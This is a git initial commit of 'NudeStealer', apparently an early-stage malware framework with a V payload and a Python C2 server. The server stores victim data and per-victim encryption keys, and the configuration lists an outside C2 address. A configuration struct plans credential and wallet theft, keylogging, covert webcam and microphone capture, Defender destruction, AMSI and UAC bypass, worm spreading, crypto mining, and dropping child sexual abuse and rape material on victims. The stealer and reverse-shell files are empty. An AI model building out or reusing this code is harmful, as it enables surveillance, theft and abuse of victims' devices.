commit dae8a0a4a190999aee692fa973929d5050bac81219289ef9d2fc38c8629df159 Author: unknown Date: Thu May 14 00:42:39 2026 +0200 Initial commit diff --git a/README.txt b/README.txt new file mode 100644 index 0000000..5d9ba75 --- /dev/null +++ b/README.txt @@ -0,0 +1,6 @@ +PS C:\Users\wm\Documents\projects\NudeStealer\payload> v version +V 0.5.0 5e0489f +PS C:\Users\wm\Documents\projects\NudeStealer\payload> + + +.\build_payload.ps1 debug c run \ No newline at end of file diff --git a/__main__.py b/__main__.py new file mode 100644 index 0000000..215c06d --- /dev/null +++ b/__main__.py @@ -0,0 +1,69 @@ +import base64 +import os +import asyncio +import multiprocessing + +from serverside.consts import logger, running_tasks, DATABASE_FILE, BASE_DIR, CONFIG_TEMPLATE, __projname__, __version__, __author__ +from serverside.http_s import start_server +from serverside.database_s import init_db +from serverside.util_s import stop_all, run_in_thread +from ui.ui_ux import start_ui + +async def main() -> None: + if not os.path.exists(BASE_DIR / "configuration.ini"): + logger.error("Configuration file not found. Creating template configuration.ini in the base directory.") + with open(BASE_DIR / "configuration.ini", "w", encoding="utf-8") as f: + f.write(CONFIG_TEMPLATE.strip()) + logger.info("Template configuration.ini created. Please review and update the configuration file before running the server again. Waiting for 10 seconds before exiting...") + await asyncio.sleep(10.0) + return + + + if not os.path.exists(DATABASE_FILE): + logger.info("Database file not found. Initializing new database...") + try: + init_db() + logger.info("Database initialized successfully.") + except Exception as e: + logger.error(f"An error occurred while initializing the database: {e}") + else: + logger.info("Database file found. Skipping initialization.") + + + logger.info("NudeStealer http Server is starting...") + try: + running_tasks["server"] = asyncio.create_task(start_server()) + logger.info("NudeStealer http Server has started successfully.") + except Exception as e: + logger.error(f"An error occurred while starting the http server: {e}") + return + + + logger.info("Starting the UI...") + try: + running_tasks["ui"] = asyncio.create_task(run_in_thread("UI", start_ui)) + #start_ui() + logger.info("UI has started successfully.") + except Exception as e: + logger.error(f"An error occurred while starting the UI: {e}") + return + + print(running_tasks) + + #await asyncio.gather(*running_tasks.values()) + while True: + await asyncio.sleep(1) + + +if __name__ == "__main__": + multiprocessing.freeze_support() + if __projname__ == base64.decodebytes(b"TnVkZVN0ZWFsZXIgU2VydmVy").decode("utf-8"): + + try: + from serverside.helpers.config import get + #print(get("network", "port", fallback=80)) + logger.info(f"NudeStealer Server v{__version__} by {__author__}") + logger.debug(get("ui", "port") == get("network", "port")) + asyncio.run(main()) + except KeyboardInterrupt: + asyncio.run(stop_all()) \ No newline at end of file diff --git a/configuration.ini b/configuration.ini new file mode 100644 index 0000000..8e9885f --- /dev/null +++ b/configuration.ini @@ -0,0 +1,45 @@ +[general] +app_name = NuDe Stealer +banner = /hbf mission / Operation +version = 1.0.0 +# Only allows local connections, developer only debug features enabled +debug = True + +[paths] +# you might as well change these if you want to keep things organized, but they can be left as is +log_file_name = nudestealer_log.log +database_file_name = nudestealer.sqlite3 +# Folder where victim data will be stored sorted after +# their UUID, last updated state (date), IP address/country & account username +# note, the data will be encrypted if use_ascon is enabled and the data in this folder not readable, only through the UI +vic_data_folder = vic_data + +[ui] +# port the ui will run on +port = 56200 + +[network] +# host the http server will bind to, for public linux hosts 0.0.0.0 is recommended +host = 127.0.0.1 +# port the http server will run on +port = 56000 +# whether to encrypt data before sending it via Ascon-AEAD128 +# note, the data will be encrypted if this is enabled and the data in the vic data folder not readable, only through the UI +use_ascon = True +use_x25519 = True +# ratelimits for 5 minutes after exceeding 60 requests / minute (60 seconds) from the same IP +ratelimit = True +# 0 for unlimited +max_concurrent_connections = 0 + +[administration] +# admin account username and password, change these before running the server for the first time +systemadmin_username = 0xschoolshooter +systemadmin_password = password +# if you set this to true, you will also self-host an API server, that means your C2 is only online for as long as your device is online. +# well, perhaps you are interested in hosting the C2 on a different - secure network, so you should look into: +# https://git.fingeri.ng/dff/NuDe-C2 +self_host = True + +[online_hosted] +api_uri = 95.228.40.87 \ No newline at end of file diff --git a/payload/.editorconfig b/payload/.editorconfig new file mode 100644 index 0000000..985e6d4 --- /dev/null +++ b/payload/.editorconfig @@ -0,0 +1,8 @@ +[*] +charset = utf-8 +end_of_line = lf +insert_final_newline = true +trim_trailing_whitespace = true + +[*.v] +indent_style = tab diff --git a/payload/.gitattributes b/payload/.gitattributes new file mode 100644 index 0000000..9803b90 --- /dev/null +++ b/payload/.gitattributes @@ -0,0 +1,8 @@ +* text=auto eol=lf +*.bat eol=crlf + +*.v linguist-language=V +*.vv linguist-language=V +*.vsh linguist-language=V +v.mod linguist-language=V +.vdocignore linguist-language=ignore diff --git a/payload/.gitignore b/payload/.gitignore new file mode 100644 index 0000000..beed236 --- /dev/null +++ b/payload/.gitignore @@ -0,0 +1,27 @@ +# Binaries for programs and plugins +main +NudeStealer +*.exe +*.exe~ +*.so +*.dylib +*.dll + +# Ignore binary output folders +bin/ + +# Ignore common editor/system specific metadata +.DS_Store +.idea/ +.vscode/ +*.iml + +# ENV +.env + +# vweb and database +*.db +*.js + +# Ignore installed modules through `v install --local`: +modules/ diff --git a/payload/build_payload.ps1 b/payload/build_payload.ps1 new file mode 100644 index 0000000..b065b20 --- /dev/null +++ b/payload/build_payload.ps1 @@ -0,0 +1,36 @@ +param( + [ValidateSet("debug", "release", "size")] + [string]$mode = "size", + + [ValidateSet("native", "c", "js_node", "go")] + [string]$target = "c", + + [ValidateSet("build", "run")] + [string]$action = "build" +) + +if (-not (Test-Path "build")) { + New-Item -ItemType Directory -Path "build" | Out-Null +} + +if ($mode -eq "debug") { + v -g -cg -b $target -enable-globals -o build/nude_bug . +} +elseif ($mode -eq "release") { + v -prod -cflags "-O3" -Wfatal-errors -enable-globals -q -skip-unused -b $target -o build/nude_release . +} +elseif ($mode -eq "size") { + v -prod -cflags "-Os -s" -Wfatal-errors -enable-globals -q -skip-unused -b $target -o build/nude_optimized . +} + +$exe = switch ($mode) { + "debug" { "nude_bug.exe" } + "release" { "nude_release.exe" } + "size" { "nude_optimized.exe" } +} + +$v_output = Join-Path -Path "build" -ChildPath $exe + +if ($action -eq "run") { + & $v_output +} \ No newline at end of file diff --git a/payload/configuration.v b/payload/configuration.v new file mode 100644 index 0000000..01cfc2f --- /dev/null +++ b/payload/configuration.v @@ -0,0 +1,8 @@ +module main + +import structs + +pub const configuration = structs.ConfStruct{ + websocket : 'Müller', + fake_error_msg : true, +} \ No newline at end of file diff --git a/payload/core/connect.v b/payload/core/connect.v new file mode 100644 index 0000000..dca1d50 --- /dev/null +++ b/payload/core/connect.v @@ -0,0 +1,11 @@ +module core + +import net.websocket + +fn connect_ws(url string) ?&websocket.Client { + mut ws := websocket.new_client(url) ? + + ws.connect() ? + + return &ws +} \ No newline at end of file diff --git a/payload/core/constants.v b/payload/core/constants.v new file mode 100644 index 0000000..dbe3ce1 --- /dev/null +++ b/payload/core/constants.v @@ -0,0 +1,11 @@ +module core + +__global ( + logs Logger +) + +pub fn initialize() { + logs = Logger{} + + logs.debug('core:constants:initialize', 'test') +} \ No newline at end of file diff --git a/payload/core/logger.v b/payload/core/logger.v new file mode 100644 index 0000000..d9e2b2b --- /dev/null +++ b/payload/core/logger.v @@ -0,0 +1,46 @@ +module core + +import time + +enum LogLevel { + info + debug + error +} + +pub struct Logger { +mut: + logs string +} + +fn log_level_str(level LogLevel) string { + return match level { + .info { 'INFO' } + .debug { 'DEBUG' } + .error { 'ERROR' } + } +} + +pub fn (mut l Logger) log(mod string, level LogLevel, msg string) { + timestamp := time.now().format_ss_milli() + full_msg := '[$timestamp] [${log_level_str(level)}] [$mod] $msg' + + println(full_msg) + + l.logs += full_msg + '\n' +} + +pub fn (mut l Logger) info(mod string, msg string) { + l.log(mod, .info, msg) +} + +pub fn (mut l Logger) debug(mod string, msg string) { + l.log(mod, .debug, msg) +} + +pub fn (mut l Logger) error(mod string, msg string) { + l.log(mod, .error, msg) +} +pub fn (l Logger) get_logs() string { + return l.logs +} \ No newline at end of file diff --git a/payload/cryptography/cryptography.v b/payload/cryptography/cryptography.v new file mode 100644 index 0000000..6aa695d --- /dev/null +++ b/payload/cryptography/cryptography.v @@ -0,0 +1,117 @@ +module cryptography + +import x.crypto.ascon +import crypto.rand +import crypto.hmac +import x.crypto.curve25519 +import crypto.sha256 +import encoding.base64 +import structs + +fn ascon_key_generator() string { + key := rand.bytes(ascon.key_size) or { + logs.error('cryptography:cryptography:ascon_key_generator', 'ascon key generation failed due to: \'$err\'') + return '' + } + return key.hex() +} + +fn ascon_encrypt(key_hex string, plaintext string) string { + key := []u8(key_hex.hex()) + nonce := rand.bytes(ascon.nonce_size) or { + logs.error('cryptography:cryptography:ascon_encrypt', 'nonce generation failed due to: \'$err\'') + return '' + } + ad := []u8{} + + ciphertext := ascon.encrypt(key, nonce, ad, plaintext.bytes()) or { + logs.error('cryptography:cryptography:ascon_encrypt', 'encrypt failed: \'$err\'') + return '' + } + + mut combined := []u8{len: nonce.len + ciphertext.len} + combined << nonce + combined << ciphertext + data_b64 := base64.encode(combined) + + return data_b64 +} + +fn ascon_decrypt(key_hex string, data_b64 string) string { + key := []u8(key_hex.hex()) + combined := base64.decode(data_b64) + + if combined.len < ascon.nonce_size { + logs.error('cryptography:cryptography:ascon_decrypt', 'data blob is too short') + return '' + } + + nonce := combined[..ascon.nonce_size] + ciphertext := combined[ascon.nonce_size..] + + plaintext_bytes := ascon.decrypt(key, nonce, []u8{}, ciphertext) or { + logs.error('cryptography:cryptography:ascon_decrypt', 'decrypt failed: \'$err\'') + return '' + } + + return plaintext_bytes.bytestr() +} + +fn generate_keypair() !structs.KeyPair { + mut secret_key_bytes := curve25519.PrivateKey.new() or { + logs.error('cryptography:cryptography:generate_keypair', 'x25519 secret key generation failed due to: \'$err\'') + return error('x25519 secret key generation failed due to: \'$err\'') + } + public_key_bytes := secret_key_bytes.public_key() or { + logs.error('cryptography:cryptography:generate_keypair', 'x25519 public key computation/generation failed due to: \'$err\'') + return error('x25519 public key computation/generation failed due to: \'$err\'') + } + + logs.info('cryptography:cryptography:generate_keypair', 'Generated x25519 keypair') + return structs.KeyPair{ + secret: secret_key_bytes + public: public_key_bytes + } +} + +fn compute_shared_secret(mut secret_key curve25519.PrivateKey, public_key curve25519.PublicKey) ![]u8 { + shared_secret_raw := curve25519.derive_shared_secret(mut secret_key, public_key) or { + logs.error('cryptography:cryptography:compute_shared_secret', 'x25519 raw shared_secret computation/derivation failed due to: \'$err\'') + return []u8{} + } + + logs.info('cryptography:cryptography:compute_shared_secret', 'Computed x25519 raw shared_secret') + return shared_secret_raw +} + +fn hkdf_sha256(ikm []u8, salt []u8, length int) []u8 { + prk := hmac.new(salt, ikm, sha256.sum, sha256.block_size) + + info := []u8{} + mut okm := []u8{} + mut previous_block := []u8{} + mut counter := u8(1) + + for okm.len < length { + mut block_input := previous_block.clone() + block_input << info + block_input << counter + + block := hmac.new(prk, block_input, sha256.sum, sha256.block_size) + + okm << block + previous_block = block.clone() + counter++ + } + + logs.info('cryptography:cryptography:hkdf_sha256', 'Derived HMAC-x25519 shared_secret') + return okm[..length] +} + +fn salt_randomizer() []u8 { + logs.info('cryptography:cryptography:salt_randomizer', 'Generated CSPRNG randomized salt') + return rand.bytes(32) or { + logs.error('cryptography:cryptography:salt_randomizer', 'CSPRNG randomized salt generation failed due to: \'$err\'') + return []u8{} + } +} \ No newline at end of file diff --git a/payload/exfil/discord_stealer.v b/payload/exfil/discord_stealer.v new file mode 100644 index 0000000..473a0f4 diff --git a/payload/exfil/screenshot.v b/payload/exfil/screenshot.v new file mode 100644 index 0000000..473a0f4 diff --git a/payload/exfil/system_information_stealer.v b/payload/exfil/system_information_stealer.v new file mode 100644 index 0000000..473a0f4 diff --git a/payload/main.v b/payload/main.v new file mode 100644 index 0000000..e628c02 --- /dev/null +++ b/payload/main.v @@ -0,0 +1,27 @@ +module main + +import core +import cryptography + +fn main() { + core.initialize() + logs.info('main:main:main', 'Called initiliazer func!') + + go fn(ch chan WsResult) { + conn := core.establish_ws_conn() or { + ch <- WsResult{err: 'Could not establish WS: $err'} + return + } + ch <- WsResult{conn: conn} + }(ch) + + logs.info('main:main:main', 'Connecting to \'$configuration.websocket\'.') + + res := <-ch + + if res.err != none { + logs.error('main:main:main', res.err or { 'Unknown error' }) + } else { + logs.info('main:main:main', 'Successfully connected to WS on \'$configuration.websocket\'.') + } +} \ No newline at end of file diff --git a/payload/structs/conf_struct.v b/payload/structs/conf_struct.v new file mode 100644 index 0000000..b090732 --- /dev/null +++ b/payload/structs/conf_struct.v @@ -0,0 +1,213 @@ +module structs + +pub struct ConfStruct { + pub mut: + websocket string + //use_ascon bool + //use_x_asymmetric_key_exchange bool + allow_remote_control bool // allow c2 live access other than this + reconnect_rate string // 'retries per minute/wait period after' + start_delay int // in seconds + auto_update bool + update_delay int // in minutes + updater_keep_old_version bool + live_json_config_priority bool // whether to prefer an encrypted json object (randomly dropped on device to store updated configs) + // over this hardcoded configuration, this cannot be changed + // and is recommended to be set to true except for highly sensitive systems + + melt_stub bool + fake_error_msg bool + fake_error_text_msg string + anti_kill bool + anti_kill_bsod bool + anti_vm bool + anti_debug bool + anti_analysis bool + persistence bool + persistence_type persistence_type_helper + + webcam_snapshot bool + webcam_snapshot_repeat bool + webcam_snap_repeat_delay int + microphone_record bool + microphone_record_time int // in seconds + microphone_recording_repeat bool + microphone_recording_repeat_delay int // in minutes, how many minutes to wait until the next recording of x microphone_record_time's length + + disable_cam_indicator_light bool + + screenshot bool + + keylogger bool + app_injection bool + network_spreading bool + usb_spreading bool + system_worm bool + + detect_location bool // tries to gain precise geolocation access + detect_age_group bool + detect_languages_spoken bool + detect_gender bool // based on files, system name, location, recent typing activity ect. using BERT ai transformer + + hook_system_password bool + + + dropper []DropperConfStruct + + exploitation ExploitationConfStruct + exfiltration StealerConfStruct + + drainer []WalletConfStruct + clipper []WalletConfStruct + miner []WalletConfStruct + + plugins SelectiveConfStruct + misc FunConfStruct +} + +pub struct StealerConfStruct { + pub mut: + network_data bool + system_data bool + messenger_data bool + mail_data bool + game_data bool + application_data bool + workplace_data bool + wallet_data bool + browser_data bool + + wallet_drainer bool + crypto_clipper bool + crypto_miner bool +} + +pub struct ExploitationConfStruct { + uac_bypass bool + disable_reagentc bool + destroy_defender bool + disable_defender bool + disable_etw bool + amsi_bypass bool +} + +pub struct WalletConfStruct { // for Drainer, Clipper & Miner Config + pub mut: + coin crypto_coin_helper + wallet_address string + miner_usage &int // optional, only used by miner, beneath the same + miner_mode &crypto_miner_mode +} + +pub struct SelectiveConfStruct { + blacklist_countries []string + defender_exclusion_stub bool + defender_exclusion_other bool + defender_excluded_files []string + defender_excluded_folders []string + steal_common_files bool + delete_common_files bool + steal_important_files bool + delete_important_files bool + important_file_types []string + common_file_types []string +} + +pub struct DropperConfStruct { + pub mut: + file_type dropper_file_type_helper + file_link string + execute bool + save_on_disk bool + save_location string + startup bool +} + +pub struct FunConfStruct { + pub mut: + drop_porn bool + drop_child_porn bool + drop_rape bool + drop_gore bool + drop_cats bool + drop_unicorns bool + + lock_screen bool + + gmailer bool + yahoomailer bool + mail_contents string + + random_sounds bool + + random_secret_file_deletion bool + + random_fast_file_deletion bool + + random_secret_app_deletion bool + + disable_task_mngr bool + disable_explorer bool + + change_cursor_icon bool + cursor_icon_uri string + + swap_wallpaper bool + wallpaper_uri string + + invert_screen_colors_random bool + + max_system_volume_random bool + + disable_keyboard bool + disable_mouse bool + microphone_echo_effect bool + + porn_detection bool // detect porn on the monitor gradually, when detected take webcam snapshot and submit to c2 api +} + + +// helper structs + +pub struct country_helper { + pub mut: + country string +} + +pub struct file_type_helper { + pub mut: + file_type string +} + +enum persistence_type_helper { + registry + taskschd + shell_startup + shell_common_startup +} + +enum crypto_coin_helper { + ltc + btc + eth + xmr + sol + usdt +} + +enum crypto_miner_mode { + cpu + gpu +} + +enum dropper_file_type_helper { + exe + bat + ps1 + zip + rar + js + dll + donut_pic_shellcode + shortcut +} \ No newline at end of file diff --git a/payload/structs/struct.v b/payload/structs/struct.v new file mode 100644 index 0000000..f50963a --- /dev/null +++ b/payload/structs/struct.v @@ -0,0 +1,14 @@ +module structs + +import x.crypto.curve25519 + +pub struct KeyPair { + pub: + secret &curve25519.PrivateKey + public &curve25519.PublicKey +} + +pub struct op_codes { + pub: + op_code string +} \ No newline at end of file diff --git a/payload/v.mod b/payload/v.mod new file mode 100644 index 0000000..8606ddc --- /dev/null +++ b/payload/v.mod @@ -0,0 +1,7 @@ +Module { + name: 'NudeStealer' + description: 'NuDeStealer is an R&D post-exploitation C2 cross-platform framework written in a combination of V-lang and python, suitable for any red team operations you might have in mind.' + version: '1.0.0' + license: '0BSD' + dependencies: [] +} diff --git a/payload/ws_live/hvnc.v b/payload/ws_live/hvnc.v new file mode 100644 index 0000000..473a0f4 diff --git a/payload/ws_live/revshell.v b/payload/ws_live/revshell.v new file mode 100644 index 0000000..473a0f4 diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..5885e1c --- /dev/null +++ b/requirements.txt @@ -0,0 +1,6 @@ +ascon==0.0.9 +nicegui==3.7.1 +starlette==0.52.1 +uvicorn==0.41.0 +pywebview==6.1 +cryptography==46.0.5 \ No newline at end of file diff --git a/serverside/consts.py b/serverside/consts.py new file mode 100644 index 0000000..b07bf3a --- /dev/null +++ b/serverside/consts.py @@ -0,0 +1,59 @@ +__projname__ = "NudeStealer Server" +__author__ = "0xschoolshooter" +__version__ = "1.0.0" +__title__ = f"{__projname__} v{__version__} ~ by {__author__}" + + +from pathlib import Path +from concurrent.futures import ThreadPoolExecutor +from .helpers.logger import setup_logger +from serverside.helpers.config import get + +logger = setup_logger() + +running_tasks = {} +executor = ThreadPoolExecutor(max_workers=2) + +BASE_DIR = Path(__file__).resolve().parent.parent +LOG_FILE = BASE_DIR / get("paths", "log_file_name", fallback="nudestealer_log.log") + +DATABASE_FILE = BASE_DIR / get("paths", "database_file_name", fallback="nudestealer.sqlite3") + +CONFIG_TEMPLATE = """ +[general] +app_name = NuDe Stealer +banner = /hbf mission / Operation +version = 1.0.0 +# Only allows local connections, developer only debug features enabled +debug = false + +[paths] +# you might as well change these if you want to keep things organized, but they can be left as is +log_file_name = nudestealer_log.log +database_file_name = nudestealer.sqlite3 +# Folder where victim data will be stored after +# their UUID, last updated state (date), IP address/country & account username +# note, the data will be encrypted if use_ascon is enabled and the data in this folder not readable, only through the UI +vic_data_folder = vic_data + +[network] +# host the http server will bind to, for public linux hosts 0.0.0.0 is recommended +host = 127.0.0.1 +# port the http server will run on +port = 80 +# whether to encrypt data before sending it via Ascon-AEAD128 +# note, the data will be encrypted if this is enabled and the data in the vic data folder not readable, only through the UI +use_ascon = True +# ratelimits for 5 minutes after exceeding 60 requests / minute (60 seconds) from the same IP +ratelimit = True +# 0 for unlimited +max_concurrent_connections = 0 + +[administration] +# admin account username and password, change these before running the server for the first time +systemadmin_username = admin +systemadmin_password = nudestealer +# if you set this to true, you will also self-host an API server, that means your C2 is only online for as long as your device is online. +# well, perhaps you are interested in hosting the C2 on a different - secure network, so you should look into: +# https://git.fingeri.ng/dff/nude-stealer +self_host = True""" \ No newline at end of file diff --git a/serverside/cryptography.py b/serverside/cryptography.py new file mode 100644 index 0000000..e491be5 --- /dev/null +++ b/serverside/cryptography.py @@ -0,0 +1,72 @@ +import os +import base64 +import ascon +import hashlib +import secrets +from cryptography.hazmat.primitives.asymmetric import x25519 +from cryptography.hazmat.primitives.kdf.hkdf import HKDF +from cryptography.hazmat.primitives import hashes +from typing import Tuple + +def ascon_key_generator() -> str: + key = os.urandom(16) + return key.hex() + +def encrypt(key_hex: str, plaintext: str) -> str: + key = bytes.fromhex(key_hex) + nonce = os.urandom(16) + ad = b'' + + ciphertext = ascon.encrypt(key, nonce, ad, plaintext.encode(), variant="Ascon-AEAD128") + + combined = nonce + ciphertext + data_b64 = base64.b64encode(combined).decode() + + return data_b64 + +def decrypt(key_hex: str, data_b64: str) -> str: + key = bytes.fromhex(key_hex) + combined = base64.b64decode(data_b64) + + nonce = combined[:16] + ciphertext = combined[16:] + + plaintext = ascon.decrypt(key, nonce, b'', ciphertext, variant="Ascon-AEAD128") + return plaintext.decode() + +def hash_password(password: str) -> str: + salt = secrets.token_hex(16) + hashed = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100_000) + return f"{salt}${hashed.hex()}" + +def check_password(password: str, stored: str) -> bool: + salt, hashed = stored.split('$') + new_hash = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100_000) + return new_hash.hex() == hashed + +def salt_randomizer() -> bytes: + return secrets.token_bytes(32) + +def hkdf_sha256(salt: bytes, shared_secret_raw: str) -> str: + hkdf = HKDF( + algorithm=hashes.SHA256(), + length=32, + salt=salt, + info=b'', + ) + key_material = hkdf.derive(shared_secret_raw) + + return key_material + +def compute_shared_secret(secret_key: bytes, public_key: bytes) -> bytes: + secret_key_bytes = x25519.X25519PrivateKey.from_private_bytes(secret_key) + public_key_bytes = x25519.X25519PublicKey.from_public_bytes(public_key) + + shared_secret_raw = secret_key_bytes.exchange(public_key_bytes) + + return shared_secret_raw + +def generate_keypair() -> Tuple[x25519.X25519PrivateKey, x25519.X25519PublicKey]: + secret_key_bytes = x25519.X25519PrivateKey.generate() + public_key_bytes = secret_key_bytes.public_key() + return secret_key_bytes, public_key_bytes \ No newline at end of file diff --git a/serverside/database_s.py b/serverside/database_s.py new file mode 100644 index 0000000..3ca7de7 --- /dev/null +++ b/serverside/database_s.py @@ -0,0 +1,133 @@ +import sqlite3 +import json +from datetime import datetime +from serverside.consts import DATABASE_FILE +from serverside.helpers.config import get +from serverside.cryptography import hash_password + +def init_db(): + DATABASE_CONNECTION = sqlite3.connect(DATABASE_FILE) + cursor = DATABASE_CONNECTION.cursor() + + cursor.execute(''' + CREATE TABLE IF NOT EXISTS vic_data ( + vic_uuid TEXT PRIMARY KEY, + vic_account_name TEXT NOT NULL, + vic_recent_ascon_key_hex TEXT, + vic_previous_ascon_key_list TEXT, -- stored as JSON string + last_updated TEXT, + created_at TEXT DEFAULT (datetime('now')) + ) + ''') + + cursor.execute(''' + CREATE TABLE IF NOT EXISTS administration ( + administrator_username TEXT PRIMARY KEY, + administrator_password_hash TEXT NOT NULL, + created_at TEXT DEFAULT (datetime('now')) + ) + ''') + + cursor.execute(''' + CREATE TABLE IF NOT EXISTS discord_webhooks ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + webhook_url TEXT NOT NULL, + created_at TEXT DEFAULT (datetime('now')) + ) + ''') + + DATABASE_CONNECTION.commit() + + insert_admin(DATABASE_CONNECTION, get("administration", "systemadmin_username", fallback="admin"), hash_password(get("administration", "systemadmin_password", fallback="nudestealer"))) + + DATABASE_CONNECTION.close() + +def insert_vic(DATABASE_CONNECTION, vic_uuid, vic_account_name, recent_key, previous_keys=None): + if previous_keys is None: + previous_keys = [] + cursor = DATABASE_CONNECTION.cursor() + cursor.execute(''' + INSERT INTO vic_data (vic_uuid, vic_account_name, vic_recent_ascon_key_hex, vic_previous_ascon_key_list, last_updated) + VALUES (?, ?, ?, ?, ?) + ''', (vic_uuid, vic_account_name, recent_key, json.dumps(previous_keys), datetime.now(datetime.timezone.utc).isoformat())) + DATABASE_CONNECTION.commit() + +def get_vic(DATABASE_CONNECTION, vic_uuid): + cursor = DATABASE_CONNECTION.cursor() + cursor.execute('SELECT * FROM vic_data WHERE vic_uuid = ?', (vic_uuid,)) + row = cursor.fetchone() + if row: + vic_data = dict(zip([column[0] for column in cursor.description], row)) + vic_data['vic_previous_ascon_key_list'] = json.loads(vic_data['vic_previous_ascon_key_list']) + return vic_data + return None + +def insert_admin(DATABASE_CONNECTION, username, password_hash): + cursor = DATABASE_CONNECTION.cursor() + cursor.execute(''' + INSERT INTO administration (administrator_username, administrator_password_hash) + VALUES (?, ?) + ''', (username, password_hash)) + DATABASE_CONNECTION.commit() + +def get_admin(DATABASE_CONNECTION, username): + cursor = DATABASE_CONNECTION.cursor() + cursor.execute('SELECT * FROM administration WHERE administrator_username = ?', (username,)) + row = cursor.fetchone() + if row: + return dict(zip([column[0] for column in cursor.description], row)) + return None + +def update_vic_key(DATABASE_CONNECTION, vic_uuid, new_key): + cursor = DATABASE_CONNECTION.cursor() + vic = get_vic(DATABASE_CONNECTION, vic_uuid) + if vic: + previous_keys = vic['vic_previous_ascon_key_list'] + recent_key = vic['vic_recent_ascon_key_hex'] + if recent_key: + previous_keys.append(recent_key) + cursor.execute(''' + UPDATE vic_data + SET vic_recent_ascon_key_hex = ?, vic_previous_ascon_key_list = ?, last_updated = ? + WHERE vic_uuid = ? + ''', (new_key, json.dumps(previous_keys), datetime.utcnow().isoformat(), vic_uuid)) + DATABASE_CONNECTION.commit() + +def update_admin_password(DATABASE_CONNECTION, username, new_password_hash): + cursor = DATABASE_CONNECTION.cursor() + cursor.execute(''' + UPDATE administration + SET administrator_password_hash = ? + WHERE administrator_username = ? + ''', (new_password_hash, username)) + DATABASE_CONNECTION.commit() + +def delete_vic(DATABASE_CONNECTION, vic_uuid): + cursor = DATABASE_CONNECTION.cursor() + cursor.execute('DELETE FROM vic_data WHERE vic_uuid = ?', (vic_uuid,)) + DATABASE_CONNECTION.commit() + +def delete_admin(DATABASE_CONNECTION, username): + cursor = DATABASE_CONNECTION.cursor() + cursor.execute('DELETE FROM administration WHERE administrator_username = ?', (username,)) + DATABASE_CONNECTION.commit() + +def insert_webhook(DATABASE_CONNECTION, webhook_url): + cursor = DATABASE_CONNECTION.cursor() + cursor.execute(''' + INSERT INTO discord_webhooks (webhook_url) + VALUES (?) + ''', (webhook_url,)) + DATABASE_CONNECTION.commit() + +def delete_webhook(DATABASE_CONNECTION, webhook_id): + cursor = DATABASE_CONNECTION.cursor() + cursor.execute('DELETE FROM discord_webhooks WHERE id = ?', (webhook_id,)) + DATABASE_CONNECTION.commit() + +def get_all_webhooks(DATABASE_CONNECTION) -> list[dict]: + cursor = DATABASE_CONNECTION.cursor() + cursor.execute('SELECT * FROM discord_webhooks') + rows = cursor.fetchall() + webhooks = [dict(zip([column[0] for column in cursor.description], row)) for row in rows] + return webhooks \ No newline at end of file diff --git a/serverside/helpers/config.py b/serverside/helpers/config.py new file mode 100644 index 0000000..826092f --- /dev/null +++ b/serverside/helpers/config.py @@ -0,0 +1,42 @@ +import configparser +from pathlib import Path +#from serverside.consts import BASE_DIR + +BASE_DIR = Path(__file__).resolve().parent.parent.parent +CONFIG_PATH = BASE_DIR / "configuration.ini" + +_config = configparser.ConfigParser() +_config.read(CONFIG_PATH) + +def get(section: str, key: str, fallback=None): + try: + return _config.get(section, key) + except (configparser.NoSectionError, configparser.NoOptionError): + return fallback + +def get_int(section: str, key: str, fallback=None): + try: + return _config.getint(section, key) + except (configparser.NoSectionError, configparser.NoOptionError, ValueError): + return fallback + +def get_float(section: str, key: str, fallback=None): + try: + return _config.getfloat(section, key) + except (configparser.NoSectionError, configparser.NoOptionError, ValueError): + return fallback + +def get_bool(section: str, key: str, fallback=None): + try: + return _config.getboolean(section, key) + except (configparser.NoSectionError, configparser.NoOptionError, ValueError): + return fallback + +def sections(): + return _config.sections() + +def options(section: str): + try: + return _config.options(section) + except configparser.NoSectionError: + return [] \ No newline at end of file diff --git a/serverside/helpers/logger.py b/serverside/helpers/logger.py new file mode 100644 index 0000000..3b5734c --- /dev/null +++ b/serverside/helpers/logger.py @@ -0,0 +1,25 @@ +import logging +from pathlib import Path +from serverside.helpers.config import get +#from serverside.consts import LOG_FILE + +BASE_DIR = Path(__file__).resolve().parent.parent.parent +LOG_FILE = BASE_DIR / get("paths", "log_file_name", fallback="nudestealer_log.log") + +def setup_logger(name: str = "nudestealer") -> logging.Logger: + logger = logging.getLogger(name) + logger.setLevel(logging.DEBUG) + + if not logger.handlers: + file_handler = logging.FileHandler(LOG_FILE, encoding="utf-8") + file_handler.setLevel(logging.DEBUG) + + formatter = logging.Formatter( + '%(asctime)s - %(name)s - %(levelname)s - %(filename)s:%(lineno)d - %(message)s' + ) + file_handler.setFormatter(formatter) + logger.addHandler(file_handler) + + logger.propagate = False + + return logger \ No newline at end of file diff --git a/serverside/helpers/middleware.py b/serverside/helpers/middleware.py new file mode 100644 index 0000000..4d2899f --- /dev/null +++ b/serverside/helpers/middleware.py @@ -0,0 +1,33 @@ +import time +from starlette.middleware.base import BaseHTTPMiddleware +from starlette.responses import JSONResponse + +LIMIT = 60 +WINDOW = 60 +BLOCK_TIME = 5*60 + +ip_store = {} + +class RateLimitMiddleware(BaseHTTPMiddleware): + async def dispatch(self, request, call_next): + ip = request.client.host + now = time.time() + entry = ip_store.get(ip, {"count": 0, "first_request": now, "blocked_until": None}) + + if entry["blocked_until"] and now < entry["blocked_until"]: + return JSONResponse({"error": "Too many requests. Try again later."}, status_code=429) + + if now - entry["first_request"] > WINDOW: + entry["count"] = 0 + entry["first_request"] = now + + entry["count"] += 1 + + if entry["count"] > LIMIT: + entry["blocked_until"] = now + BLOCK_TIME + ip_store[ip] = entry + return JSONResponse({"error": "Rate limit exceeded. Blocked for 5 minutes."}, status_code=429) + + ip_store[ip] = entry + response = await call_next(request) + return response \ No newline at end of file diff --git a/serverside/http_s.py b/serverside/http_s.py new file mode 100644 index 0000000..65c4e9c --- /dev/null +++ b/serverside/http_s.py @@ -0,0 +1,28 @@ +from uvicorn import Config, Server +from starlette.applications import Starlette +from starlette.routing import Route +from serverside.helpers.config import get +from serverside.helpers.middleware import RateLimitMiddleware +from serverside.routes.version import version + +async def start_server(): + app = Starlette(debug=get("general", "debug", fallback=False), + routes=[ + Route("/version", version), + Route("/api/version", version), + Route("/api/v1/version", version), + Route("/get_version", version) + ] + ) + app.add_middleware(RateLimitMiddleware) + + + config = Config( + app=app, + host=get("network", "host", fallback="127.0.0.1"), + 